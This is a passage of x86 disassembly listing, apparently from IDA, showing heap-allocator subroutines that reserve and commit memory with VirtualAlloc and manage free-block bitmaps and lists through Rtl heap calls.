					; sub_42C925+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_42CC49
		mov	eax, dword_676FF0
		test	eax, eax
		jz	loc_42CC3B
		mov	ecx, dword_676FE8
		mov	esi, dword_437198
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi ; dword_437198
		mov	ecx, dword_676FE8
		mov	eax, dword_676FF0
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_676FF0
		mov	ecx, dword_676FE8
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_676FF0
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_676FF0
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_42CBCC
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_676FF0


loc_42CBCC:				; CODE XREF: sub_42C925+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_42CC3B
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi ; dword_437198
		mov	eax, dword_676FF0
		push	dword ptr [eax+10h]
		push	0
		push	dword_677000
		call	dword_437214	; RtlFreeHeap
		mov	eax, dword_676FF4
		mov	edx, dword_676FF8
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_676FF0
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_42BA90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_676FF4
		cmp	eax, dword_676FF0
		jbe	short loc_42CC31
		sub	[ebp+arg_0], 14h


loc_42CC31:				; CODE XREF: sub_42C925+306j
		mov	eax, dword_676FF8
		mov	dword_676FEC, eax


loc_42CC3B:				; CODE XREF: sub_42C925+234j
					; sub_42C925+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_676FE8, edi
		mov	dword_676FF0, eax


loc_42CC49:				; CODE XREF: sub_42C925+38j
					; sub_42C925+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42C925	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CC4E	proc near		; CODE XREF: sub_4297F6+49p
					; sub_42B39A+78p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_676FF4
		mov	edx, dword_676FF8
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_42CC8E
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_42CC9E
; ---------------------------------------------------------------------------


loc_42CC8E:				; CODE XREF: sub_42CC4E+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_42CC9E:				; CODE XREF: sub_42CC4E+3Ej
		mov	eax, dword_676FEC
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_42CCC5


loc_42CCAC:				; CODE XREF: sub_42CC4E+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_42CCC5
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_42CCAC


loc_42CCC5:				; CODE XREF: sub_42CC4E+5Cj
					; sub_42CC4E+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_42CD43
		mov	ebx, edx


loc_42CCCC:				; CODE XREF: sub_42CC4E+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_42CCE8
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_42CCE6
		add	ebx, 14h
		jmp	short loc_42CCCC
; ---------------------------------------------------------------------------


loc_42CCE6:				; CODE XREF: sub_42CC4E+91j
		cmp	ebx, eax


loc_42CCE8:				; CODE XREF: sub_42CC4E+83j
		jnz	short loc_42CD43


loc_42CCEA:				; CODE XREF: sub_42CC4E+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_42CD00
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_42CCFD
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_42CCEA
; ---------------------------------------------------------------------------


loc_42CCFD:				; CODE XREF: sub_42CC4E+A5j
		cmp	ebx, [ebp+var_4]


loc_42CD00:				; CODE XREF: sub_42CC4E+9Fj
		jnz	short loc_42CD28
		mov	ebx, edx


loc_42CD04:				; CODE XREF: sub_42CC4E+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_42CD18
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_42CD16
		add	ebx, 14h
		jmp	short loc_42CD04
; ---------------------------------------------------------------------------


loc_42CD16:				; CODE XREF: sub_42CC4E+C1j
		cmp	ebx, eax


loc_42CD18:				; CODE XREF: sub_42CC4E+BBj
		jnz	short loc_42CD28
		call	sub_42CF57
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_42CD3C


loc_42CD28:				; CODE XREF: sub_42CC4E:loc_42CD00j
					; sub_42CC4E:loc_42CD18j
		push	ebx
		call	sub_42D008
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_42CD43


loc_42CD3C:				; CODE XREF: sub_42CC4E+D8j
		xor	eax, eax
		jmp	loc_42CF52
; ---------------------------------------------------------------------------


loc_42CD43:				; CODE XREF: sub_42CC4E+7Aj
					; sub_42CC4E:loc_42CCE8j ...
		mov	dword_676FEC, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_42CD6A
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_42CDA1


loc_42CD6A:				; CODE XREF: sub_42CC4E+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_42CD9E


loc_42CD87:				; CODE XREF: sub_42CC4E+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_42CD87


loc_42CD9E:				; CODE XREF: sub_42CC4E+137j
		mov	edx, [ebp+var_4]


loc_42CDA1:				; CODE XREF: sub_42CC4E+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_42CDCA
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_42CDCA:				; CODE XREF: sub_42CC4E+16Dj
					; sub_42CC4E+183j
		test	ecx, ecx
		jl	short loc_42CDD3
		shl	ecx, 1
		inc	edi
		jmp	short loc_42CDCA
; ---------------------------------------------------------------------------


loc_42CDD3:				; CODE XREF: sub_42CC4E+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_42CDF0
		push	3Fh
		pop	esi


loc_42CDF0:				; CODE XREF: sub_42CC4E+19Dj
		cmp	esi, edi
		jz	loc_42CF05
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_42CE61
		cmp	edi, 20h
		jge	short loc_42CE30
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_42CE5E
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_42CE61
; ---------------------------------------------------------------------------


loc_42CE30:				; CODE XREF: sub_42CC4E+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_42CE5E
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_42CE61
; ---------------------------------------------------------------------------


loc_42CE5E:				; CODE XREF: sub_42CC4E+1D6j
					; sub_42CC4E+203j
		mov	ebx, [ebp+arg_0]


loc_42CE61:				; CODE XREF: sub_42CC4E+1B0j
					; sub_42CC4E+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_42CF11
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_42CF02
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_42CED3
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_42CEC1
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_42CEC1:				; CODE XREF: sub_42CC4E+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_42CF02
; ---------------------------------------------------------------------------


loc_42CED3:				; CODE XREF: sub_42CC4E+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_42CEEC
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_42CEEC:				; CODE XREF: sub_42CC4E+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_42CF02:				; CODE XREF: sub_42CC4E+24Ej
					; sub_42CC4E+283j
		mov	ecx, [ebp+var_8]


loc_42CF05:				; CODE XREF: sub_42CC4E+1A4j
		test	ecx, ecx
		jz	short loc_42CF14
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_42CF14
; ---------------------------------------------------------------------------


loc_42CF11:				; CODE XREF: sub_42CC4E+229j
		mov	ecx, [ebp+var_8]


loc_42CF14:				; CODE XREF: sub_42CC4E+2B9j
					; sub_42CC4E+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_42CF4A
		cmp	ebx, dword_676FF0
		jnz	short loc_42CF4A
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_676FE8
		jnz	short loc_42CF4A
		and	dword_676FF0, 0


loc_42CF4A:				; CODE XREF: sub_42CC4E+2E0j
					; sub_42CC4E+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_42CF52:				; CODE XREF: sub_42CC4E+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42CC4E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CF57	proc near		; CODE XREF: sub_42CC4E+CCp
		mov	eax, dword_676FF4
		mov	ecx, dword_676FE4
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_42CF9A
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_676FF8
		push	edi
		push	dword_677000
		call	dword_437160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_42CFEA
		add	dword_676FE4, 10h
		mov	dword_676FF8, eax
		mov	eax, dword_676FF4


loc_42CF9A:				; CODE XREF: sub_42CF57+11j
		mov	ecx, dword_676FF8
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_677000
		lea	esi, [ecx+eax*4]
		call	dword_437210	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_42CFEA
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_437194	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_42CFEE
		push	dword ptr [esi+10h]
		push	edi
		push	dword_677000
		call	dword_437214	; RtlFreeHeap


loc_42CFEA:				; CODE XREF: sub_42CF57+30j
					; sub_42CF57+67j
		xor	eax, eax
		jmp	short loc_42D005
; ---------------------------------------------------------------------------


loc_42CFEE:				; CODE XREF: sub_42CF57+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_676FF4
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_42D005:				; CODE XREF: sub_42CF57+95j
		pop	edi
		pop	esi
		retn
sub_42CF57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D008	proc near		; CODE XREF: sub_42CC4E+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_42D01A:				; CODE XREF: sub_42D008+19j
		test	eax, eax
		jl	short loc_42D023
		shl	eax, 1
		inc	ebx
		jmp	short loc_42D01A
; ---------------------------------------------------------------------------


loc_42D023:				; CODE XREF: sub_42D008+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_42D038:				; CODE XREF: sub_42D008+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_42D038
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_437194	; VirtualAlloc
		test	eax, eax
		jnz	short loc_42D06B
		or	eax, 0FFFFFFFFh
		jmp	loc_42D0FE
; ---------------------------------------------------------------------------


loc_42D06B:				; CODE XREF: sub_42D008+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_42D0B1
		lea	eax, [edi+10h]


loc_42D078:				; CODE XREF: sub_42D008+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_42D078


loc_42D0B1:				; CODE XREF: sub_42D008+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_42D0EE
		or	[eax+4], edi


loc_42D0EE:				; CODE XREF: sub_42D008+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_42D0FE:				; CODE XREF: sub_42D008+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D008	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D103	proc near		; CODE XREF: sub_431C83+8Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_42D2B1
		test	bl, 1
		jnz	loc_42D2AA
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_42D2AA
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_42D17A
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_42D17A:				; CODE XREF: sub_42D103+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_42D1CA
		cmp	ecx, 20h
		jnb	short loc_42D1A6
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42D1CA
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_42D1CA
; ---------------------------------------------------------------------------


loc_42D1A6:				; CODE XREF: sub_42D103+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42D1CA
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_42D1CA:				; CODE XREF: sub_42D103+7Dj
					; sub_42D103+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_42D298
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_42D204
		push	3Fh
		pop	edi


loc_42D204:				; CODE XREF: sub_42D103+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_42D286
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_42D25D
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_42D250
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_42D250:				; CODE XREF: sub_42D103+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_42D282
; ---------------------------------------------------------------------------


loc_42D25D:				; CODE XREF: sub_42D103+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_42D273
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_42D273:				; CODE XREF: sub_42D103+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_42D282:				; CODE XREF: sub_42D103+158j
		shr	edx, cl
		or	[eax], edx


loc_42D286:				; CODE XREF: sub_42D103+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_42D29B
; ---------------------------------------------------------------------------


loc_42D298:				; CODE XREF: sub_42D103+E5j
		mov	edx, [ebp+arg_4]


loc_42D29B:				; CODE XREF: sub_42D103+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_42D3F1
; ---------------------------------------------------------------------------


loc_42D2AA:				; CODE XREF: sub_42D103+52j
					; sub_42D103+5Cj
		xor	eax, eax
		jmp	loc_42D3F4
; ---------------------------------------------------------------------------


loc_42D2B1:				; CODE XREF: sub_42D103+49j
		jge	loc_42D3F1
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_42D2DC
		push	3Fh
		pop	esi


loc_42D2DC:				; CODE XREF: sub_42D103+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_42D36B
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_42D2F5
		push	3Fh
		pop	esi


loc_42D2F5:				; CODE XREF: sub_42D103+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_42D344
		cmp	esi, 20h
		jnb	short loc_42D320
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_42D341
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_42D341
; ---------------------------------------------------------------------------


loc_42D320:				; CODE XREF: sub_42D103+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_42D341
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_42D341:				; CODE XREF: sub_42D103+214j
					; sub_42D103+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_42D344:				; CODE XREF: sub_42D103+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_42D36B
		push	3Fh
		pop	esi


loc_42D36B:				; CODE XREF: sub_42D103+1DDj
					; sub_42D103+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_42D3E8
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_42D3BF
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_42D3B2
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_42D3B2:				; CODE XREF: sub_42D103+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_42D3E4
; ---------------------------------------------------------------------------


loc_42D3BF:				; CODE XREF: sub_42D103+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_42D3D5
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_42D3D5:				; CODE XREF: sub_42D103+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_42D3E4:				; CODE XREF: sub_42D103+2BAj
		shr	edx, cl
		or	[eax], edx


loc_42D3E8:				; CODE XREF: sub_42D103+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_42D3F1:				; CODE XREF: sub_42D103+1A2j
					; sub_42D103:loc_42D2B1j
		push	1
		pop	eax


loc_42D3F4:				; CODE XREF: sub_42D103+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42D103	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D3F9	proc near		; CODE XREF: sub_42C855+41p
					; sub_42D6F1:loc_42D8C0p
		cmp	dword_451160, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_42D40D
		mov	esi, offset off_451150
		jmp	short loc_42D42A
; ---------------------------------------------------------------------------


loc_42D40D:				; CODE XREF: sub_42D3F9+Bj
		push	2020h
		push	0
		push	dword_677000
		call	dword_437210	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_42D536


loc_42D42A:				; CODE XREF: sub_42D3F9+12j
		mov	ebp, dword_437194
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp ; dword_437194
		mov	edi, eax
		test	edi, edi
		jz	loc_42D51F
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp ; dword_437194
		test	eax, eax
		jz	loc_42D511
		mov	eax, offset off_451150
		cmp	esi, eax
		jnz	short loc_42D489
		cmp	off_451150, 0
		jnz	short loc_42D479
		mov	off_451150, eax


loc_42D479:				; CODE XREF: sub_42D3F9+79j
		cmp	off_451154, 0
		jnz	short loc_42D49E
		mov	off_451154, eax
		jmp	short loc_42D49E
; ---------------------------------------------------------------------------


loc_42D489:				; CODE XREF: sub_42D3F9+70j
		mov	[esi], eax
		mov	eax, off_451154
		mov	[esi+4], eax
		mov	off_451154, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_42D49E:				; CODE XREF: sub_42D3F9+87j
					; sub_42D3F9+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_42D4C0:				; CODE XREF: sub_42D3F9+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_42D4C0
		push	ebx
		push	0
		push	edi
		call	sub_429760
		add	esp, 0Ch


loc_42D4E9:				; CODE XREF: sub_42D3F9+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_42D50D
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
